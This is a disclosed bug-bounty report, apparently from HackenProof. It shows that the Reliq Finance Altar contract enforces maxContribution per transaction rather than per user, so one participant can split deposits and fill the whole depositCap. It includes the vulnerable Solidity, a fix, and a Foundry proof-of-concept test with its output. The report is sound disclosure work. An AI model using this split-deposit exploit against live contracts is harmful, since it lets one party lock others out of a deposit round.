Status DataClose notification

Reliq Finance Disclosed Report

Altar: "per-user cap" is not enforced - users can exceed 'maxContribution' by splitting deposits and monopolize 'depositCap'

Created date
Dec 17 2025

Target

https://github.com/hackenproof-public/reliq-protocol

Vulnerability Details

Description :

I have analysed the 'Altar' pre-deposit / contribution mechanism, focusing on the contribution caps and how the contract enforces them.

During this review I observed a mismatch between the stated behavior and the actual enforced behavior:

  • The contract description says:

    "Contributions are capped per user and globally …" (Altar.sol header comment)

  • However, in implementation, 'maxContribution' is enforced only per transaction, not per user.

This means a single participant can exceed the intended “per-user cap” by simply splitting deposits across multiple 'sacrifice()' calls, while still staying within 'maxContribution' for each individual call.

Root Cause

In 'Altar.sacrifice', the code checks only:

  • 'amount >= minContribution && amount <= maxContribution' (cap per transaction)
  • 'totalContributions + amount <= depositCap' (global cap)

But it never checks the cumulative per-user amount:

  • Missing check: 'userContributions[user] + amount <= maxContribution'

Relevant code (Altar.sol)

function sacrifice(uint256 amount, address user) external nonReentrant {
    require(block.timestamp < deadline, "Altar: deadline passed");
    require(amount >= minContribution && amount <= maxContribution, "Altar: invalid amount");
    require(totalContributions + amount <= depositCap, "Altar: deposit cap exceeded");

    if (isWhitelistActive) {
        require(mintAllowance[user] >= amount + userContributions[user], "Altar: mint allowance exceeded");
    }

    userContributions[user] += amount;
    totalContributions += amount;

    backingToken.safeTransferFrom(msg.sender, address(this), amount);

    emit Sacrificed(user, amount);
}

There is no cumulative cap enforcement for userContributions[user].

Impact

This is a business logic / functional correctness vulnerability that affects fair participation and allocation.

What I observed an attacker (or any participant) can do:

  • Split contributions into multiple calls, each <= maxContribution

  • Accumulate userContributions[user] far beyond maxContribution

  • Potentially monopolize the full depositCap, blocking other users from participating

I consider this Medium , because:

  • It breaks the contract's stated "per-user cap" behavior.

  • It enables monopolization of the deposit round, impacting fairness and participation.

  • It does not directly steal funds, but it causes significant protocol-level correctness and distribution issues.

Recommended fix

If the intended behavior is truly "per-user cap", add a cumulative enforcement check:

require(userContributions[user] + amount <= maxContribution, "Altar: max per user exceeded");

If the intended behavior is "per-transaction cap", then the contract should:

  • Rename maxContribution to maxContributionPerTx, and/or

  • Update comments/docs to avoid misleading users and integrators.

Validation steps

I wrote a Foundry PoC using the existing test suite which demonstrates:

  • A single user can deposit maxContribution multiple times

  • Their final userContributions becomes greater than maxContribution

  • The user can fill the entire depositCap, preventing other users from depositing

PoC file Location

test/PreDeposit/AltarPerUserCap.t.sol

My POC File Content :

  // SPDX-License-Identifier: UNLICENSED
  pragma solidity 0.8.28;
  
  import "forge-std/Test.sol";
  import "forge-std/console.sol";
  
  import {Altar} from "../../src/Altar.sol";
  import {ReliqHYPE} from "../../src/ReliqHYPE.sol";
  import {IERC20} from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
  import {ERC20} from "@openzeppelin/contracts/token/ERC20/ERC20.sol";
  
  contract MockERC20 is ERC20 {
      constructor() ERC20("Mock Backing Token", "MBK") {}
      function mint(address to, uint256 amt) external { _mint(to, amt); }
  }
  
  contract AltarPerUserCapTest is Test {
      MockERC20 backing;
      ReliqHYPE reliq;
      Altar altar;
  
      address alice = makeAddr("alice");
      address bob   = makeAddr("bob");
  
      function setUp() public {
          backing = new MockERC20();
  
          // ReliqHYPE is required only because Altar stores it; this PoC focuses on sacrifice() behavior
          reliq = new ReliqHYPE(IERC20(address(backing)));
          altar = new Altar(address(reliq), address(backing));
  
          uint256 minContribution = 1 ether;
          uint256 maxContribution = 100 ether;
  
          // Set depositCap to 2 * maxContribution to show one user can fill entire cap
          uint256 depositCap = 200 ether;
  
          altar.kickOff(
              block.timestamp + 7 days,
              minContribution,
              maxContribution,
              depositCap
          );
  
          // Fund users + approve altar
          backing.mint(alice, 1_000 ether);
          backing.mint(bob,   1_000 ether);
  
          vm.prank(alice);
          backing.approve(address(altar), type(uint256).max);
  
          vm.prank(bob);
          backing.approve(address(altar), type(uint256).max);
      }
  
      function test_user_can_exceed_maxContribution_by_splitting_deposits() public {
          uint256 max = altar.maxContribution();
  
          // Alice deposits "maxContribution" twice (each tx individually respects maxContribution)
          vm.prank(alice);
          altar.sacrifice(max, alice);
  
          vm.prank(alice);
          altar.sacrifice(max, alice);
  
          uint256 aliceTotal = altar.userContributions(alice);
  
          console.log("maxContribution(per tx) =", max);
          console.log("alice userContributions =", aliceTotal);
          console.log("totalContributions      =", altar.totalContributions());
          console.log("depositCap              =", altar.depositCap());
  
          // This proves the contract does NOT enforce a true "per-user cap"
          assertEq(aliceTotal, 2 * max, "userContributions should exceed maxContribution by splitting deposits");
          assertGt(aliceTotal, max, "BUG: per-user contribution exceeded maxContribution");
  
          // Because depositCap is filled, Bob cannot participate anymore
          vm.prank(bob);
          vm.expectRevert(bytes("Altar: deposit cap exceeded"));
          altar.sacrifice(1 ether, bob);
      }
}

Run the POC from Repo Root :

forge test --match-contract AltarPerUserCapTest -vvv

My console output

 $ forge test --match-contract AltarPerUserCapTest -vvv
[⠊] Compiling...
[⠊] Compiling 1 files with Solc 0.8.28
[⠒] Solc 0.8.28 finished in 928.46ms
Compiler run successful!

Ran 1 test for test/PreDeposit/AltarPerUserCap.t.sol:AltarPerUserCapTest
[PASS] test_user_can_exceed_maxContribution_by_splitting_deposits() (gas: 140226)
Logs:
  maxContribution(per tx) = 100000000000000000000
  alice userContributions = 200000000000000000000
  totalContributions      = 200000000000000000000
  depositCap              = 200000000000000000000

Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 2.64ms (1.07ms CPU time)

Ran 1 test suite in 16.28ms (2.64ms CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests)

What my PoC proved

  • maxContribution is enforced only per transaction, not per user.

  • A single user can make multiple deposits and push userContributions[user] above maxContribution.

  • A single user can fill the entire depositCap, preventing other users from participating.

Attachments

hidden
CommentsReport History
Comments on this report are hidden
Details
Statedisclosed
Severity
Low
Bounty$10
Visibilitypartially
VulnerabilityBusiness Logic Errors
Participants (4)
company admin
author